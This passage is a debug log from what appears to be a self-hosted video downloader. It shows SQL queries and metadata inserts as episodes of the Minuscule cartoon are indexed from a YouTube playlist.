m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:49.975 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89051] 00:51:49.976 [debug] Current batch of media processed. Will check again in 1000ms 00:51:50.977 [debug] Current batch of media processed. Will check again in 1000ms 00:51:51.978 [debug] Current batch of media processed. Will check again in 1000ms 00:51:52.979 [debug] Current batch of media processed. Will check again in 1000ms 00:51:53.980 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 343, "filename" => "/downloads/Miniscule Season 1/2020-07-02 Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1)/Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1) [rmKftX0yirU].mp4", "id" => "rmKftX0yirU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rmKftX0yirU", "playlist_index" => 77, "timestamp" => 1593700203, "title" => "Minuscule- il pleut il mouille c'est la fête à l'escargouille/It Never Rains but it Pours (season 1)", "upload_date" => "20200702"} 00:51:53.981 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=423.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:53.982 [debug] QUERY OK source="sources" db=0.3ms idle=336.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:53.983 [debug] QUERY OK source="media_items" db=0.9ms idle=337.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-02 14:30:03Z], 4] 00:51:53.997 [debug] QUERY OK source="media_items" db=12.3ms idle=338.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule- il pleut il mouille c'est la fête à l'escargouille/It Never Rains but it Pours (season 1)", "7f47fb36-486f-4f76-8040-263f5c856a69", "rmKftX0yirU", 343, false, 4, "https://www.youtube.com/watch?v=rmKftX0yirU", 77, "/downloads/Miniscule Season 1/2020-07-02 Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1)/Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1) [rmKftX0yirU].mp4", false, false, false, [], 1, ~U[2020-07-02 14:30:03Z], ~U[2025-12-14 07:51:53Z], ~U[2025-12-14 07:51:53Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule- il pleut il mouille c'est la fête à l'escargouille/It Never Rains but it Pours (season 1)", "rmKftX0yirU", 343, false, 4, "https://www.youtube.com/watch?v=rmKftX0yirU", "/downloads/Miniscule Season 1/2020-07-02 Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1)/Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1) [rmKftX0yirU].mp4", false, ~U[2020-07-02 14:30:03Z]] 00:51:53.997 [debug] QUERY OK source="sources" db=0.5ms idle=352.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:53.998 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=16.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:54.000 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=16.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89053] 00:51:54.000 [debug] Current batch of media processed. Will check again in 1000ms 00:51:55.001 [debug] Current batch of media processed. Will check again in 1000ms 00:51:56.002 [debug] Current batch of media processed. Will check again in 1000ms 00:51:57.003 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 338, "filename" => "/downloads/Miniscule Season 1/2020-06-25 Minuscule - Coup de Vent⧸A Gust of Wind (season 1)/Minuscule - Coup de Vent⧸A Gust of Wind (season 1) [Gkz7lxhdhSw].mp4", "id" => "Gkz7lxhdhSw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Gkz7lxhdhSw", "playlist_index" => 78, "timestamp" => 1593095401, "title" => "Minuscule - Coup de Vent/A Gust of Wind (season 1)", "upload_date" => "20200625"} 00:51:57.004 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1358.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:57.005 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1359.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:57.007 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1360.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-25 14:30:01Z], 4] 00:51:57.010 [debug] QUERY OK source="media_items" db=2.0ms idle=1362.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coup de Vent/A Gust of Wind (season 1)", "872f24eb-0ab8-4855-b23a-587f871d16fe", "Gkz7lxhdhSw", 338, false, 4, "https://www.youtube.com/watch?v=Gkz7lxhdhSw", 78, "/downloads/Miniscule Season 1/2020-06-25 Minuscule - Coup de Vent⧸A Gust of Wind (season 1)/Minuscule - Coup de Vent⧸A Gust of Wind (season 1) [Gkz7lxhdhSw].mp4", false, false, false, [], 1, ~U[2020-06-25 14:30:01Z], ~U[2025-12-14 07:51:57Z], ~U[2025-12-14 07:51:57Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coup de Vent/A Gust of Wind (season 1)", "Gkz7lxhdhSw", 338, false, 4, "https://www.youtube.com/watch?v=Gkz7lxhdhSw", "/downloads/Miniscule Season 1/2020-06-25 Minuscule - Coup de Vent⧸A Gust of Wind (season 1)/Minuscule - Coup de Vent⧸A Gust of Wind (season 1) [Gkz7lxhdhSw].mp4", false, ~U[2020-06-25 14:30:01Z]] 00:51:57.011 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=447.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:57.011 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:57.012 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89055] 00:51:57.012 [debug] Current batch of media processed. Will check again in 1000ms 00:51:58.014 [debug] Current batch of media processed. Will check again in 1000ms 00:51:59.015 [debug] Current batch of media processed. Will check again in 1000ms 00:52:00.016 [debug] Current batch of media processed. Will check again in 1000ms 00:52:00.654 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:01.017 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 334, "filename" => "/downloads/Miniscule Season 1/2020-06-16 Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1)/Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1) [1U8G4t7MTuI].mp4", "id" => "1U8G4t7MTuI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1U8G4t7MTuI", "playlist_index" => 79, "timestamp" => 1592317800, "title" => "Minuscule - Escargot qui roule n'amasse pas mousse / A rolling snail gathers no Moss (Season 1)", "upload_date" => "20200616"} 00:52:01.018 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=372.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:01.019 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=374.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:01.021 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=374.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-16 14:30:00Z], 4] 00:52:01.038 [debug] QUERY OK source="media_items" db=16.1ms idle=376.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Escargot qui roule n'amasse pas mousse / A rolling snail gathers no Moss (Season 1)", "963c2247-acde-4472-9f45-fc3607e0a16b", "1U8G4t7MTuI", 334, false, 4, "https://www.youtube.com/watch?v=1U8G4t7MTuI", 79, "/downloads/Miniscule Season 1/2020-06-16 Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1)/Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1) [1U8G4t7MTuI].mp4", false, false, false, [], 1, ~U[2020-06-16 14:30:00Z], ~U[2025-12-14 07:52:01Z], ~U[2025-12-14 07:52:01Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Escargot qui roule n'amasse pas mousse / A rolling snail gathers no Moss (Season 1)", "1U8G4t7MTuI", 334, false, 4, "https://www.youtube.com/watch?v=1U8G4t7MTuI", "/downloads/Miniscule Season 1/2020-06-16 Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1)/Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1) [1U8G4t7MTuI].mp4", false, ~U[2020-06-16 14:30:00Z]] 00:52:01.039 [debug] QUERY OK source="sources" db=0.4ms idle=384.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:01.039 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=20.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:01.040 [debug] QUERY OK source="media_items" db=0.5ms idle=20.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89057] 00:52:01.041 [debug] Current batch of media processed. Will check again in 1000ms 00:52:01.140 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:02.042 [debug] Current batch of media processed. Will check again in 1000ms 00:52:03.043 [debug] Current batch of media processed. Will check again in 1000ms 00:52:04.044 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR 